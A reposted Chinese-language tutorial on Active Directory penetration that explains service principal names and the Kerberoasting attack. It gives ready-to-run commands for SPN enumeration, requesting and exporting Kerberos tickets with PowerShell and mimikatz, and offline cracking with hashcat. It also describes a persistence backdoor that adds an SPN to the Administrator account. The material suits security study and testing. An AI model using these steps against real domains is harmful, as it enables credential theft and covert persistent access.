域滲透:SPN和Kerberoast攻擊


參考文章:https://mp.weixin.qq.com/s?__biz=MzU2MTQwMzMxNA%3D%3D&chksm=fc781175cb0f986392b4c78112dcd01bf5c71e7d6bdc292f0d8a556cc27e6bd8ebc54278165d&idx=1&mid=2247488936&scene=21&sn=82c127c8ad6d3e36f1a977e5ba122228#wechat_redirect
參考文章:https://www.freebuf.com/articles/system/196434.html
參考文章:https://3gstudent.github.io/3gstudent.github.io/域滲透-Kerberoasting/
參考文章:https://rcoil.me/2019/06/【域滲透】SPN 掃描利用/

什么是Service Principal Names:

SPN 簡介:服務主體名稱(SPN:ServicePrincipal Names)是服務實例(可以理解為一個服務,比如 HTTP、MSSQL)的唯一標識符。

Kerberos 身份驗證:使用 SPN 將服務實例與服務登錄帳戶相關聯

如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個 SPN。

SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名注冊SPN。

SPN類型分為兩種:

1、一種注冊在AD上機器帳戶(Computers)下,當一個服務的權限為Local System或Network Service,則SPN注冊在機器帳戶(Computers)下

2、另一種注冊在域用戶帳戶(Users)下,當一個服務的權限為一個域用戶,則SPN注冊在域用戶帳戶(Users)下

如果用一句話來說明的話就是如果想使用 Kerberos 協議來認證服務,那么必須正確配置SPN。

SPN的語法格式:

<service class>/<host>:<port> <servername>
    服務類型    /對應機器名:服務端口[默認端口可不寫]

其中 <service class> 和 <host> 為必需元素

1、<service class>可以理解為服務的名稱,常見的有www, ldap, SMTP, DNS, HOST等,例如MSSQLSvc/WIN-CKT0M35R6UO.top.pentest.top:1433

2、host有兩種形式,FQDN和NetBIOS名,例如WIN-CKT0M35R6UO.top.pentest.top或者是WIN-CKT0M35R6UO

3、如果服務運行在默認端口上,則端口號(port)可以省略

如何查看已經注冊的SPN:

查找pentest.God域下注冊的SPN:

setspn.exe -T pentest.God -q */*

查看當前域內的所有SPN:setspn -Q */*

如何手動給域機器或者域用戶創建 SPN:

語法setspn -S http/<computername>.<domainname> <domain-user-account>

-S 參數:驗證不存在重復項后,添加隨意 SPN。

注意: -S 從 Windows Server 2008 開始系統默認提供。

例如(參考rcoil):創建一個spn http服務的,主機名為WebDemo_PC,域名為rcoil.me 創建的用戶為域用戶rcoil\web

Setspn -s http/WebDemo_PC.rcoil.me rcoil\web

Setspn -s http/WebDemo_PC.rcoil.me WebDemo_PC$

查看的時候setspn,可以用-L 指定用戶(域機器名)查詢,比如setspn -L web 或者 setspn -L WebDemo_PC$

如何在內網中進行SPN 掃描:

介紹: 在一個大型域中通常會有不止一個的服務注冊 SPN,所以可以通過「SPN 掃描」的方式來查看域內的服務。

優點: 比如想知道域內哪些主機安裝了什么服務,我們就不需要再進行批量的網絡端口掃描。相對於通常的網絡端口掃描的優點是不用直接和服務主機建立連接,且隱蔽性更高。

掃描工具:

1.GetUserSPNs.ps1:

GetUserSPNs 是 Kerberoast 工具集中的一個 powershell 腳本,用來查詢域內注冊的 SPN。

2.GetUserSPNs.vbs:

cscript .\GetUserSPNs.vbs

如何對SPN進行Kerberoasting攻擊

Kerberoasting 是域滲透中經常使用的一項技術,是通過 爆破TGS-REP 實現,在TGS_REP的過程中用戶將會收到由目標服務實例的NTLM hash加密生成的TGS(service ticket),加密算法為RC4-HMAC,如果獲得這個TGS,我們可以嘗試窮舉口令,模擬加密過程,進行破解

利用方法:

由於域內的任何用戶都可以向域內的任何服務請求TGS,知道相關服務的SPN后,可以用SPN申請一張票據 ST(TGS Ticket),如果Kerberos 協議設置票據為 RC4加密,則可通過爆破的方式得到服務對應用戶的密碼。


第一種利用方法:

首先,在powershell上申請票據:

請求單個TGS:

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "https/testDemo.pentest.God"

請求所有TGS:

Add-Type -AssemblyName System.IdentityModel

setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Kerberos 協議中請求的票據會保存在內存中,可以通過 klist 命令查看當前會話存儲的 kerberos 票據

接着可使用mimikatz導出票據

工具解密:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.pywordlist.txt是字典,test.kirbi為導出的票據

tgsrepcrack.py wordlist.txt test.kirbi

缺點:考慮mimikatz免殺


第二種利用方法:

Invoke-Kerberoast.ps1導出轉換成 John the Ripper 或者 HashCat 能夠直接爆破的字符串,

-AdminCount表示選擇高權限的用戶,powershell下執行以下內容

Import-Module .\Invoke-Kerberoast.ps1

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

然后再通過hashcat進行密碼破解hashcat64.exe -m 13100 hash.txt pass.txt

如何擴大攻擊路線:

原因:管理員可以使用工具SetSPN -S來手動注冊SPN。但是這不是一個最好的方法,畢竟手工注冊不是長久之計。如果SPN下次丟了,又要再次手動注冊。

所以比較好的方法,是讓SQL Server當前啟動域賬號有注冊SPN的權力。要在DC上為域賬號賦予 Read servicePrincipalNameWrite serverPrincipalName 的權限即可

那么就可以在域內進行查詢具有Read servicePrincipalNameWrite serverPrincipalName的域用戶的權限

Kerberoasting權限維持:

在我們取得了 SPN 的修改權限(其實也就是拿到域管的權限)后,可以為指定的域用戶添加一個SPN,這樣可以隨時獲得該域用戶的TGS ,經過破解后獲得明文口令,可以作為一個后門使用。

例如為域用戶Administrator添加SPN fps/top.pentest.top Administrator,參數如下:

setspn.exe -U -A fps/top.pentest.top Administrator

刪除SPN的參數如下:

setspn.exe -D fps/top.pentest.top Administrator

總結SPN利用流程:

1、查詢SPN,找到有價值的SPN,需要滿足的條件:該SPN注冊在域用戶帳戶(Users)下 並且 域用戶賬戶的權限很高
2、請求TGS
3、導出TGS
4、暴力破解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM